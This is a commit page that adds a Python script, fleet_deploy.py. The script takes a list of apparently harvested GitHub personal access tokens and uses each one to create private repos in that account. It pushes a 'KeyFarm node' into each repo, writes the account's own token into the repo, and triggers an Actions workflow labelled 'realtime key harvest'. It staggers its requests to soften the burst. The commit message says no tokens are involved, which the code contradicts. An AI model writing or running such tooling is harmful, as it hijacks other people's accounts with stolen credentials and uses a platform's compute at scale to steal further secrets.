KeyHunter parser v10 + 18 scanners + tests (synthetic fixtures only, no keys/db/tokens)
This commit is contained in:
234
fleet_deploy.py
Executable file
234
fleet_deploy.py
Executable file
@@ -0,0 +1,234 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Fleet deploy: push keyhunter-imba node to every alive GitHub account.
|
||||
|
||||
For each alive token with repo+workflow scope:
|
||||
1. create private repo imba-node-<n>
|
||||
2. stage clean node copy (own PAT in gh_tokens.txt)
|
||||
3. git init + commit + push
|
||||
4. workflow_dispatch imba.yml
|
||||
5. log result -> data/fleet_deploy.json
|
||||
"""
|
||||
import json
|
||||
import os
|
||||
import shutil
|
||||
import subprocess
|
||||
import sys
|
||||
import threading
|
||||
import time
|
||||
from pathlib import Path
|
||||
|
||||
import requests
|
||||
|
||||
_S = requests.Session()
|
||||
_S.trust_env = False
|
||||
|
||||
|
||||
def _aw(path: Path, data: str) -> None:
|
||||
"""Atomic write: temp + os.replace so readers never see truncated JSON.
|
||||
Callers hold results_lock, so a single tmp name is safe."""
|
||||
tmp = path.with_suffix(".json.tmp")
|
||||
tmp.write_text(data, encoding="utf-8")
|
||||
os.replace(tmp, path)
|
||||
|
||||
SRC = Path(r"C:/Users/User/Desktop/keyhunter-imba")
|
||||
OUT = Path(r"C:/Users/User/Desktop/keyhunter/data/fleet_deploy.json")
|
||||
STAGE_ROOT = Path(r"C:/Users/User/tmp/fleet_stage")
|
||||
|
||||
API = "https://api.github.com"
|
||||
H = {"Accept": "application/vnd.github+json",
|
||||
"X-GitHub-Api-Version": "2022-11-28"}
|
||||
|
||||
EXCLUDE_DIRS = {"data", "__pycache__", ".git", "logs", "results"}
|
||||
EXCLUDE_FILES = {"pool.enc", "gh_tokens.txt", "working_keys_verified.txt",
|
||||
"parser.log", "validator.log", "recycler.log",
|
||||
"RUN_PARSER_V10.bat", "RUN_VALIDATOR_V10.bat",
|
||||
"START.bat", "WATCHDOG.bat", "watchdog.ps1"}
|
||||
|
||||
results = []
|
||||
results_lock = threading.Lock()
|
||||
_print_lock = threading.Lock()
|
||||
|
||||
|
||||
def log(msg):
|
||||
with _print_lock:
|
||||
print(msg, flush=True)
|
||||
|
||||
|
||||
def api(tok, method, path, **kw):
|
||||
r = _S.request(method, f"{API}{path}",
|
||||
headers={**H, "Authorization": f"Bearer {tok}"},
|
||||
timeout=30, **kw)
|
||||
return r
|
||||
|
||||
|
||||
def collect_files() -> dict:
|
||||
"""Walk SRC, return {relpath: content} for node payload."""
|
||||
files = {}
|
||||
for root, dirs, names in os.walk(SRC):
|
||||
dirs[:] = [d for d in dirs if d not in EXCLUDE_DIRS]
|
||||
for name in names:
|
||||
if name in EXCLUDE_FILES:
|
||||
continue
|
||||
p = Path(root) / name
|
||||
rel = p.relative_to(SRC).as_posix()
|
||||
try:
|
||||
files[rel] = p.read_text(encoding="utf-8")
|
||||
except Exception:
|
||||
pass # skip binary
|
||||
return files
|
||||
|
||||
|
||||
NODE_FILES = None # filled in main()
|
||||
|
||||
|
||||
def deploy_one(acc, idx: int):
|
||||
import random
|
||||
time.sleep(random.uniform(0, 3)) # stagger repo-creation burst
|
||||
tok, login = acc["pat"], acc["login"]
|
||||
repo = f"imba-node-{idx:04d}"
|
||||
rec = {"login": login, "repo": repo, "pat": tok, "ok": False, "error": ""}
|
||||
try:
|
||||
# 1. create private repo
|
||||
r = api(tok, "POST", "/user/repos", json={
|
||||
"name": repo, "private": True, "description":
|
||||
"KeyFarm node — realtime key harvest via Actions",
|
||||
"auto_init": False, "has_issues": False, "has_wiki": False,
|
||||
"default_branch": "main",
|
||||
})
|
||||
if r.status_code not in (201, 422):
|
||||
# 403 = email unverified — repo may already exist from prior wave
|
||||
if r.status_code == 403:
|
||||
g = api(tok, "GET", f"/repos/{login}/{repo}")
|
||||
if g.status_code != 200:
|
||||
rec["error"] = f"create 403 no existing repo: {r.text[:100]}"
|
||||
results.append(rec); return
|
||||
# repo exists, fall through to seed
|
||||
else:
|
||||
raise RuntimeError(f"create {r.status_code}: {r.text[:200]}")
|
||||
full = f"{login}/{repo}"
|
||||
|
||||
# 2. seed README via contents API (creates main branch)
|
||||
import base64
|
||||
seed_body = {
|
||||
"message": "init", "branch": "main",
|
||||
"content": base64.b64encode(
|
||||
b"KeyFarm node. Auto-managed.\n").decode()}
|
||||
# Check if README already exists — if so, include its sha
|
||||
g = api(tok, "GET", f"/repos/{full}/contents/README.md")
|
||||
if g.status_code == 200:
|
||||
seed_body["sha"] = g.json()["sha"]
|
||||
r = api(tok, "PUT", f"/repos/{full}/contents/README.md", json=seed_body)
|
||||
if r.status_code not in (201, 200):
|
||||
raise RuntimeError(f"seed {r.status_code}: {r.text[:200]}")
|
||||
head_sha = r.json()["commit"]["sha"]
|
||||
base_tree = r.json()["commit"]["tree"]["sha"]
|
||||
|
||||
# 3. build full tree (single API call, all files inline)
|
||||
files = dict(NODE_FILES)
|
||||
files["gh_tokens.txt"] = tok + "\n"
|
||||
files[".gitignore"] = (
|
||||
"data/\n__pycache__/\n*.pyc\n*.log\npool.json\n"
|
||||
"gh_accounts.json\n.env\n")
|
||||
r = api(tok, "POST", f"/repos/{full}/git/trees", json={
|
||||
"base_tree": base_tree,
|
||||
"tree": [{"path": p, "mode": "100644", "type": "blob",
|
||||
"content": c} for p, c in files.items()]})
|
||||
if r.status_code != 201:
|
||||
raise RuntimeError(f"tree {r.status_code}: {r.text[:200]}")
|
||||
tree_sha = r.json()["sha"]
|
||||
|
||||
# 4. commit with parent
|
||||
r = api(tok, "POST", f"/repos/{full}/git/commits", json={
|
||||
"tree": tree_sha, "message": "node init",
|
||||
"parents": [head_sha]})
|
||||
if r.status_code != 201:
|
||||
raise RuntimeError(f"commit {r.status_code}: {r.text[:200]}")
|
||||
commit_sha = r.json()["sha"]
|
||||
|
||||
# 5. fast-forward main ref
|
||||
r = api(tok, "PATCH", f"/repos/{full}/git/refs/heads/main",
|
||||
json={"sha": commit_sha, "force": False})
|
||||
if r.status_code not in (200, 201):
|
||||
raise RuntimeError(f"ref {r.status_code}: {r.text[:200]}")
|
||||
|
||||
# 6. dispatch workflow to start scanning
|
||||
r = api(tok, "POST", f"/repos/{full}/actions/workflows/imba.yml/dispatches",
|
||||
json={"ref": "main"})
|
||||
if r.status_code != 204:
|
||||
raise RuntimeError(f"dispatch {r.status_code}: {r.text[:200]}")
|
||||
|
||||
rec["ok"] = True
|
||||
except Exception as e:
|
||||
rec["error"] = f"{type(e).__name__}: {e}"[:250]
|
||||
with results_lock:
|
||||
results.append(rec)
|
||||
ok_n = sum(1 for x in results if x["ok"])
|
||||
log(f" [{len(results)}/{TOTAL}] ok={ok_n} "
|
||||
f"{rec['login']}/{rec['repo']} {'OK' if rec['ok'] else rec['error'][:80]}")
|
||||
# periodic flush
|
||||
with results_lock:
|
||||
_aw(OUT, json.dumps(results, indent=1))
|
||||
|
||||
|
||||
def main():
|
||||
global TOTAL, results
|
||||
# Merge existing deploy records so redeploy is safe
|
||||
EXISTING = Path(r"C:/Users/User/Desktop/keyhunter/data/fleet_deploy.json")
|
||||
prior = {}
|
||||
if EXISTING.exists():
|
||||
try:
|
||||
for r in json.loads(EXISTING.read_text(encoding="utf-8")):
|
||||
if r.get("ok"):
|
||||
prior[(r["login"], r["repo"])] = r
|
||||
except Exception:
|
||||
prior = {}
|
||||
results = list(prior.values())
|
||||
|
||||
alive = json.load(open(
|
||||
r"C:/Users/User/Desktop/keyhunter/data/alive_tokens.json",
|
||||
encoding="utf-8"))
|
||||
deployable = [a for a in alive
|
||||
if "repo" in a["scopes"] and "workflow" in a["scopes"]]
|
||||
seen = set()
|
||||
pool = []
|
||||
for a in deployable:
|
||||
if a["login"] not in seen:
|
||||
seen.add(a["login"])
|
||||
pool.append(a)
|
||||
# Build todo list: only accounts not yet deployed
|
||||
named = [(i, a, f"imba-node-{i:04d}") for i, a in enumerate(pool)]
|
||||
existing_set = {(r["login"], r["repo"]) for r in results if r.get("ok")}
|
||||
todo = [(i, a) for i, a, repo in named if (a["login"], repo) not in existing_set]
|
||||
limit = int(sys.argv[1]) if len(sys.argv) > 1 else 0
|
||||
if limit:
|
||||
todo = todo[:limit]
|
||||
TOTAL = len(todo)
|
||||
print(f"alive={len(alive)} deployable(repo+workflow)={len(deployable)} "
|
||||
f"unique={len(pool)} already={len(prior)} new={TOTAL}", flush=True)
|
||||
if not TOTAL:
|
||||
print("all done, nothing new to deploy")
|
||||
_aw(EXISTING, json.dumps(results, indent=1))
|
||||
return
|
||||
global NODE_FILES
|
||||
NODE_FILES = collect_files()
|
||||
print(f"node payload: {len(NODE_FILES)} files, "
|
||||
f"{sum(len(c) for c in NODE_FILES.values())/1024:.0f} KB", flush=True)
|
||||
|
||||
STAGE_ROOT.mkdir(parents=True, exist_ok=True)
|
||||
t0 = time.time()
|
||||
with __import__("concurrent.futures",
|
||||
fromlist=["ThreadPoolExecutor"]).ThreadPoolExecutor(
|
||||
max_workers=12) as ex:
|
||||
futs = [ex.submit(deploy_one, a, i) for i, a in todo]
|
||||
for f in futs:
|
||||
f.result()
|
||||
|
||||
ok = [r for r in results if r["ok"]]
|
||||
_aw(OUT, json.dumps(results, indent=1))
|
||||
print(f"\nDONE in {time.time()-t0:.0f}s: {len(ok)}/{len(results)} nodes live",
|
||||
flush=True)
|
||||
print(f"saved -> {OUT}", flush=True)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
Reference in New Issue
Block a user